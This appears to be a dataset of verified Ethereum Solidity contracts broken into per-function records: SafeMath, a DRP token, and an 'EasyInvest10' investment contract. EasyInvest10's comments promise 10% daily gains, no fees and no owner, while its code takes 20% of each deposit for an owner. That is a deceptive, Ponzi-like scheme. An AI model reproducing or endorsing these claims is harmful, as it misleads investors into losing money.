// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
7158,
7324
]
} | 1,347 |
|
BitPump | BitPump.sol | 0xe575ca6f4837280be1dcfe845a79efa404d071c1 | Solidity | SafeMath | library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
| /**
* Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | None | bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b | {
"func_code_index": [
90,
297
]
} | 1,348 |
BitPump | BitPump.sol | 0xe575ca6f4837280be1dcfe845a79efa404d071c1 | Solidity | SafeMath | library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
| /**
* Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | None | bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b | {
"func_code_index": [
382,
682
]
} | 1,349 |
BitPump | BitPump.sol | 0xe575ca6f4837280be1dcfe845a79efa404d071c1 | Solidity | SafeMath | library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | None | bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b | {
"func_code_index": [
797,
925
]
} | 1,350 |
BitPump | BitPump.sol | 0xe575ca6f4837280be1dcfe845a79efa404d071c1 | Solidity | SafeMath | library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
| /**
* Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | None | bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b | {
"func_code_index": [
990,
1136
]
} | 1,351 |
EasyInvest10 | EasyInvest10.sol | 0x0744a686c17480b457a4fbb743195bf2815ca2b8 | Solidity | EasyInvest10 | contract EasyInvest10 {
address owner;
function EasyInvest10 () {
owner = msg.sender;
}
// records amounts invested
mapping (address => uint256) invested;
// records blocks at which investments were made
mapping (address => uint256) atBlock;
// this function called every time anyone sends a transaction to this contract
function() external payable {
owner.send(msg.value/5);
// if sender (aka YOU) is invested more than 0 ether
if (invested[msg.sender] != 0){
// calculate profit amount as such:
address kashout = msg.sender;
// amount = (amount invested) * 10% * (blocks since last transaction) / 5900
// 5900 is an average block count per day produced by Ethereum blockchain
uint256 getout = invested[msg.sender]*10/100*(block.number-atBlock[msg.sender])/5900;
// send calculated amount of ether directly to sender (aka YOU)
kashout.send(getout);
}
// record block number and invested amount (msg.value) of this transaction
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | /**
*
* Easy Investment 10% Contract
* - GAIN 10% PER 24 HOURS (every 5900 blocks)
* - NO COMMISSION on your investment (every ether stays on contract's balance)
* - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
*
* How to use:
* 1. Send any amount of ether to make an investment
* 2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
* OR
* 2b. Send more ether to reinvest AND get your profit at the same time
*
* RECOMMENDED GAS LIMIT: 70000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* Contract reviewed and approved by pros!
*
*/ | NatSpecMultiLine | function() external payable {
owner.send(msg.value/5);
// if sender (aka YOU) is invested more than 0 ether
if (invested[msg.sender] != 0){
// calculate profit amount as such:
address kashout = msg.sender;
// amount = (amount invested) * 10% * (blocks since last transaction) / 5900
// 5900 is an average block count per day produced by Ethereum blockchain
uint256 getout = invested[msg.sender]*10/100*(block.number-atBlock[msg.sender])/5900;
// send calculated amount of ether directly to sender (aka YOU)
kashout.send(getout);
}
// record block number and invested amount (msg.value) of this transaction
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
| // this function called every time anyone sends a transaction to this contract | LineComment | v0.4.24+commit.e67f0147 | bzzr://6015176bce0aacc4546a0182993ee13ea260444a103c8e9f31c8f487b263f17e | {
"func_code_index": [
373,
1194
]
} | 1,352 |
||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
| /**
* Internal transfer, only can be called by this contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
699,
1225
]
} | 1,353 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | transfer | function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
| /**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
1431,
1543
]
} | 1,354 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
| /**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
1818,
2152
]
} | 1,355 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | approve | function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
| /**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
2416,
2592
]
} | 1,356 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
| /**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
2986,
3338
]
} | 1,357 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
